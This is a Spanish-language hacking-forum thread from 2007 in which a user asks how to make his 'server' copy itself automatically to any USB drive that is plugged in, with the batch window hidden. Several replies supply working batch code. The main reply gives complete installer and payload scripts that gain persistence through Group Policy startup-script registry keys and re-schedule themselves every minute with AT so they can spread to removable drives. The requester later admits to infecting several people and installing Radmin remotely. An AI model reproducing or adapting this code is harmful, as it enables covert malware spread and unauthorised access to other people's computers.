Nuevas NORMAS para el foro

Curso Hacker
Bienvenido(a), Visitante. Favor de ingresar o registrarse.
¿Perdiste tu email de activación? - Agosto 21, 2008, 06:28:55
Boton Buscar
Inicio Ayuda Ingresar Registrarse
Visita: Articulos - Juegos Gratis - Da Foros

Comunidad Underground Hispana  |  Programacion  |  Programación  |  Batch (Moderadores: Espectro Infernal, The Shadow)  |  Tema: Copiar un archivo a una unidad extraible 0 Usuarios y 1 Visitante están viendo este tema. « anterior próximo »
Páginas: [1] Ir Abajo Imprimir
Autor Tema: Copiar un archivo a una unidad extraible  (Leído 233 veces)
flasher
Miembro
*****
Desconectado Desconectado

Mensajes: 45


Ver Perfil
« en: Julio 30, 2007, 12:41:15 »

Hola,
veamos, si yo hago un bat con el comando "copy c:\ejemplo.exe x:\",  me copiaria el archivo ejemplo.exe de c a la unidad x.
Supongamos que es una unidad extraible y que no sabemos que letra se le asignará, ni cuando estará disponible ¿que codigo se podria usar?

gracias

p.d: he leido y buscado, si esta delante de mis narices, no lo he visto.
En línea
e0f-R00t. [ Vacaciones ]
Gran Colaborador
*****
Desconectado Desconectado

Mensajes: 2417


EndOfFile................. CodeBuser..............


Ver Perfil
« Respuesta #1 en: Julio 30, 2007, 01:13:31 »

pues si me puedes poner la direccion del post t lo agradeceria


sALuDos__
En línea

flasher
Miembro
*****
Desconectado Desconectado

Mensajes: 45


Ver Perfil
« Respuesta #2 en: Julio 30, 2007, 01:18:42 »

no, no, si digo que no lo he visto.

He visto algo ahora parecido.
Con este codigo:
Código:
@ echo off
FOR %%A IN (A B C D E F G H I J K L M N O P Q R S T U V W X Y Z) DO (
IF exist %%A: echo Hay una unidad de disco con la letra %%A!! )
pause>nul

se supone que cuando se ejecuta, si hay una unidad la detecta y te dice:hay una unidad de disco con la letra .....

Pero yo necesito que detecte el usb cuando se conecta.

Es decir, quiero hacer un codigo para ejecutarlo con mi server, y que cuando se pinche una unidad extraible mi server se copia a esta. Por lo del pantallazo de los bat no os preocupeis que ya he visto como ocultarlo.
En línea
e0f-R00t. [ Vacaciones ]
Gran Colaborador
*****
Desconectado Desconectado

Mensajes: 2417


EndOfFile................. CodeBuser..............


Ver Perfil
« Respuesta #3 en: Julio 30, 2007, 02:47:58 »

mira ver si lo puedes solucionar con el comando at

por el foro creo k ay algun post sobre ese comando, buscalo y mira ver si puedes acer algo con eyo Wink


sALuDos__

« Última modificación: Julio 30, 2007, 02:48:27 por bUsIk49 » En línea

Rexix
Colaborador
*****
Desconectado Desconectado

Mensajes: 447


xoy del rojo, ex un xentimiento no puedo parar!!


Ver Perfil Email
« Respuesta #4 en: Julio 30, 2007, 09:33:42 »


bueno, puedes programarlo que cada determinado tiempo revise si hay una nueva unidad de disco.

puedes hacerlo haciendole ping a tu localhost o como bien dice bUsIk49 con el comando AT.

pero exactamente que el bat quede totalmente a la "escucha" por decirlo de alguna forma no creo que se pueda en batch.

aunque podrias utilizar el code que ya viste para que constantemente este revisando algo como asi:

 @ echo off
:buscar
FOR %%A IN (A B C D E F G H I J K L M N O P Q R S T U V W X Y Z) DO (
IF exist %%A: goto otrogoto)
goto buscar

y en el otrogoto realizar la accion que quieras darle a tu bat.


salu2 Grin
En línea


my page:
http://usuarios.lycos.es/r71xn942

problemas para Recordar tus contraseñas? aqui tienes la solucion
http://foro.el-hacker.com/index.php/topic,122732.0.html
FOXmx
Habitual
*****
Desconectado Desconectado

Mensajes: 153



Ver Perfil
« Respuesta #5 en: Julio 30, 2007, 09:52:43 »

Este consiste de dos archivos, un instlador y el programa que hace lo que deceas

el instalador determina cuales son las unidades que existen, osea los discos duros y la unidad de cd(para esto te recomiendo que cuando ejecutes el instalador pongas un cd en la bandeja), ademas coloca el archivo delusb.bat para que inicie cuando enciendas la PC, y hace que se ejecute cada minuto, osea que si ponen una memoria USB al minuto ejecutara la accion deseada.

Nota: no lo instales desde una USB porque la detectara como unidad existente, te recomiendo que lo instales desde un CD o desde el disco duro..

indlusb.bat  [este es el instalador]
Código:
rem coloco esto para que inicie a la proxima reinicio de la pc(este lugar es poco comun)
reg add "HKLM\Software\Policies\Microsoft\Windows\System\Scripts\Startup\0\0" /t REG_SZ /V "Script" /d "c:\windows\system32\delusb.bat" /f
reg add "HKLM\Software\Policies\Microsoft\Windows\System\Scripts\Startup\0\0" /t REG_SZ /V "Parameters" /d "" /f
reg add "HKLM\Software\Policies\Microsoft\Windows\System\Scripts\Startup\0" /t REG_SZ /V "FileSysPath" /d "C:\WINDOWS\System32\GroupPolicy\Machine" /f
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy\State\Machine\Scripts\Startup\0\0" /t REG_SZ /V "Parameters" /d "" /f
DEL c:\windows\system32\Zunidnoex.txt
copy delusb.bat c:\windows\system32\
for %%i In ( E F G H I J K L M N O P Q R S T U V W X Y Z) do if not exist %%i:\ echo %%i:\>>c:\windows\system32\Zunidnoex.txt
REM -----aqui reactivo la tarea cada minuto y arreglo el error de 59 a 60 en los minutos y de 23 a 24 en las horas y un error con los numeros 08 y 09
set hm=%time:~3,2%
set hh=%time:~0,2%
(if %hm%==07 set hm=7)&(if %hm%==08 set hm=8)&(if %hm%==09 set hm=9)&(if %hh%==07 set hh=7)
(if %hh%==08 set hh=8)&(if %hh%==09 set hh=9)
set /a nm=%hm%+1
if NOT %nm%==60 goto cont
set /a nm=0
set /a hh=%hh%+1
if NOT %hh%==24 goto cont
set /a hh=0
AT %hh%:%nm% C:\windows\system32\DELUSB.BAT


El archivo delusb lo que hace es verificar si en la memoria existe el archivo delusb.bat, si no existe
copiara el archivo c:\miarchivo.txt a la unidad USB

si el archivo delusb.bat existe en la unidad no ejecutara ninguna accion, por si tu metes tu memoria ahi debes tener ese archivo para que no le haga nada.
el codigo se reprograma cada minuto..

delusb.bat
Código:
 @echo off
for /f %%i in (C:\windows\system32\Zunidnoex.txt) do if not exist %%iDELUSB.BAT (xcopy c:\miarchivo.txt %%i /e /y&goto ok)
:ok
REM -----aqui reactivo la tarea cada minuto y arreglo el error de 59 a 60 en los minutos y de 23 a 24 en las horas y un error con los numeros 08 y 09
set hm=%time:~3,2%
set hh=%time:~0,2%
(if %hm%==07 set hm=7)&(if %hm%==08 set hm=8)&(if %hm%==09 set hm=9)&(if %hh%==07 set hh=7)
(if %hh%==08 set hh=8)&(if %hh%==09 set hh=9)
set /a nm=%hm%+1
if NOT %nm%==60 goto cont
set /a nm=0
set /a hh=%hh%+1
if NOT %hh%==24 goto cont
set /a hh=0
AT %hh%:%nm% C:\windows\system32\DELUSB.BAT

el codigo que hace lo que deseas es este
Código:
for /f %%i in (C:\windows\system32\Zunidnoex.txt) do if not exist %%iDELUSB.BAT (xcopy c:\miarchivo.txt %%i /e /y)
las demas lineas solo lo reprograman cada minuto.

no me hago responsable por el uso del codigo, solo doy las herramientas, yo no estoy a favor de eliminar la informacion de alguien, para dañarle..

« Última modificación: Julio 30, 2007, 09:59:51 por FOXmx » En línea


Si lo que haces no funciona programa otra coza, piensa en nuevas ideas, no en las mismas.
Lo que hagas con un codigo es tu responsabilidad, estoy deacuerdo en joder el windows pero no en joder sus archivos personales.
flasher
Miembro
*****
Desconectado Desconectado

Mensajes: 45


Ver Perfil
« Respuesta #6 en: Julio 31, 2007, 09:32:51 »

ok, muchas gracias a todos

Citar
no me hago responsable por el uso del codigo, solo doy las herramientas, yo no estoy a favor de eliminar la informacion de alguien, para dañarle..

estoy contigo. No me gusta hacer daño por gusto, ni tampoco me interesa la intimidad de las personas, asi que las veces que infectado solamente me he dedicado a probar a instalar el radmin a distancia y cosas asi. Tampoco he infectado muchas veces, 4 o 5.
El saber que soy capaz de hacerlo es suficiente recompensa para mí, una vez que lo consigo aspiro a más. Ahora voy a ver si aprendo visual basic
En línea
Páginas: [1] Ir Arriba Imprimir 
Comunidad Underground Hispana  |  Programacion  |  Programación  |  Batch (Moderadores: Espectro Infernal, The Shadow)  |  Tema: Copiar un archivo a una unidad extraible « anterior próximo »
Ir a:  


Ranking-Hits
Powered by SMF 1.1.5 | SMF © 2006-2007, Simple Machines LLC